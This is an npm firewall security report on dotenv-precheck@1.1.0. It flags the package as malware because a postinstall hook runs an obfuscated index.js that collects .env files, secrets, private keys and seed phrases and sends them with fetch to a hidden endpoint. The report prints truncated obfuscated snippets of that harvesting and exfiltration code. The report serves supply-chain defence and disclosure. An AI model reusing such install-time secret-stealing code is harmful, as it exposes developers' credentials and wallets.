--- canonical: "https://firewall.lpm.dev/npm/dotenv-precheck/v/1.1.0" markdown: "https://firewall.lpm.dev/npm/dotenv-precheck/v/1.1.0.md" package: "dotenv-precheck" report_status: "published" title: "dotenv-precheck@1.1.0 npm security report" verdict: "malicious" version: "1.1.0" --- # dotenv-precheck@1.1.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Secrets from the installing user's machine may be disclosed to an operator-controlled external recipient. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Credential Exfiltration - **Selected version:** 1.1.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-17304 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Automatic installation triggers an obfuscated secret-harvesting program. The program scans files and exports collected environment and wallet-related data to an external service. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-29T18:14:41.649Z - **Finished:** 2026-09-29T18:15:29.439Z - **Download time:** 511 ms - **Static scan time:** 104 ms - **AI review time:** 47174 ms - **Total time:** 47790 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Automatic installation triggers an obfuscated secret-harvesting program. The program scans files and exports collected environment and wallet-related data to an external service. - **Trigger:** npm postinstall executes index.js. - **Impact:** Secrets from the installing user's machine may be disclosed to an operator-controlled external recipient. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-09-29T18:15:29.439Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The entrypoint recursively reads files, extracts environment values, private keys, and seed phrases, then submits a constructed report using fetch. - **Attack narrative:** On installation, the postinstall hook launches the obfuscated entrypoint. It scans accessible files for .env content, secret-like variables, private keys, and seed phrases, accumulates those values, and sends the report using fetch to a hidden external endpoint. This is unconsented credential and secret exfiltration. - **Rationale:** The install-time hook, broad secret collection, obfuscation, and outbound submission form a concrete credential-exfiltration chain. The hidden recipient prevents any legitimate destination restriction from being verified. - **Files touched:** package.json, index.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The package runs index.js automatically through a postinstall hook., The obfuscated entrypoint creates collections for environment-file contents, secret variables, private keys, and seed phrases., It recursively reads files, preserves .env content, and applies secret-extraction routines., It sends collected data with fetch to an obfuscated external destination, including a chat identifier and multipart payload. ## Affected versions and remediation This report applies to dotenv-precheck@1.1.0. - Avoid installing dotenv-precheck@1.1.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node index.js ``` ### 2. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 3. Medium: Dynamic Require - **Category:** Source - **Confidence:** 75.0% - **Path:** index.js - **Public source:** [View source]() Package source references dynamic require/import behavior. Public source snippet (untrusted): ```javascript L1: const _0x443956=_0x51fd;(function(_0x1e3d21,_0x3d9676){const _0x28c5c2=_0x51fd,_0xe5ed5d=_0x1e3d21();while(!![]){try{const _0x27c7ae=-parseInt(_0x28c5c2(0x138))/0x1*(parseInt(_0x28... ``` ### 4. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 5. High: Obfuscated Payload Loader - **Category:** Source - **Confidence:** 86.0% - **Path:** index.js - **Public source:** [View source]() Source contains an obfuscated payload loader that reconstructs and executes hidden code. Public source snippet (untrusted): ```javascript L1: const _0x443956=_0x51fd;(function(_0x1e3d21,_0x3d9676){const _0x28c5c2=_0x51fd,_0xe5ed5d=_0x1e3d21();while(!![]){try{const _0x27c7ae=-parseInt(_0x28c5c2(0x138))/0x1*(parseInt(_0x28... ``` ### 6. High: Obfuscated - **Category:** Supply Chain - **Confidence:** 100.0% Package source appears deliberately obfuscated. ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 9. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The package runs index.js automatically through a postinstall hook. Public source snippet (untrusted): ```json "main": "index.js", "scripts": { "postinstall": "node index.js" }, "keywords": [ "dotenv" ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() The obfuscated entrypoint creates collections for environment-file contents, secret variables, private keys, and seed phrases. Public source snippet (untrusted): ```javascript envFiles':[],'envSeedVars':[],'privateKeys':[],'seedPhrases':[]};function _0x3cbb45(_0x643bf7){const _0x285c43=_0x443956,_0x48977e={'Pgcyb':function(_0xc1577f,_0x4f7145){return _0xc1577f>_0x4f7145;},'CPvkA':function(_0x568114,_0x2 ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() It recursively reads files, preserves .env content, and applies secret-extraction routines. Public source snippet (untrusted): ```javascript 0x43e42d[_0x34b7ae(0xf7)]))continue;_0x5d3951[_0x34b7ae(0x143)](_0x395f19,_0x2549dd,_0x5d3951[_0x34b7ae(0xec)](_0x34c122,0x1));}else{if(_0x43e42d[_0x34b7ae(0xdc)]()){const _0x2d5c0a=_0x5d3951[_0x34b7ae(0xad)](_0x3cbb45,_0x2549dd);if(!_0x2d5c0a)continue;_0x3756de++,/^\.env/[_0x34b7ae(0x11d)](_0x43e42d[_0x34b7ae(0xf7)])&&_0x51527f[_0x34b7ae(0x9a)][_0x34b7ae(0xe2)]({'file':_0x2549dd,'content':_0x2d5c0a[_0x34b7ae(0xb5)](0x0,0x1388)}),_0x5d3951[_0x34b7ae(0x143)](_0x33b980,_0x2d5c0a,_0x2549dd),_0x5d3951[_0x34b7ae(0x143)](_0x2bb2e6,_0x2d5c0a,_0x2549dd),_0x5d3951[_0x34b7ae(0xde)](_0x4c115b,_0x2d5c0a,_ ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() It sends collected data with fetch to an obfuscated external destination, including a chat identifier and multipart payload. Public source snippet (untrusted): ```javascript fetch,_0x33da66[_0x28a1b4(0xda)](_0x33da66[_0x28a1b4(0xfd)](_0x33da66[_0x28a1b4(0xd0)](_0x33da66[_0x28a1b4(0x115)],_0x50c215)+_0x33da66[_0x28a1b4(0xc0)],_0x10b1b9)+'/',_0x319d9e),{'method':_0x33da66[_0x28a1b4(0xab)],'headers':{'Content-Type':_0x33da66[_0x28a1b4(0xfb)]},'body':JSON[_0x28a1b4(0xae)](_0x5c4d3b)});}((async()=>{const _0x2710bf=_0x443956,_0x1a7819={'gSaAc':function(_0x30b950,_0x309659){return _0x30b950(_0x309659);}, ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** dotenv-precheck - **Ecosystem:** npm - **Version:** 1.1.0 - **License:** MIT - **Version published:** 2026-09-29T14:19:41.617Z - **Package first seen:** 2026-09-29T18:14:51.614Z - **Package last seen:** 2026-09-29T18:15:29.439Z - **Known versions:** 3 - **Latest version:** 1.1.1 - **Appeal under review:** No - **Description:** Runs dotenv preflight checks at install time - **Keywords:** dotenv, env, preflight, environment - **Artifact files:** 2 - **Artifact unpacked size:** 38,347 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()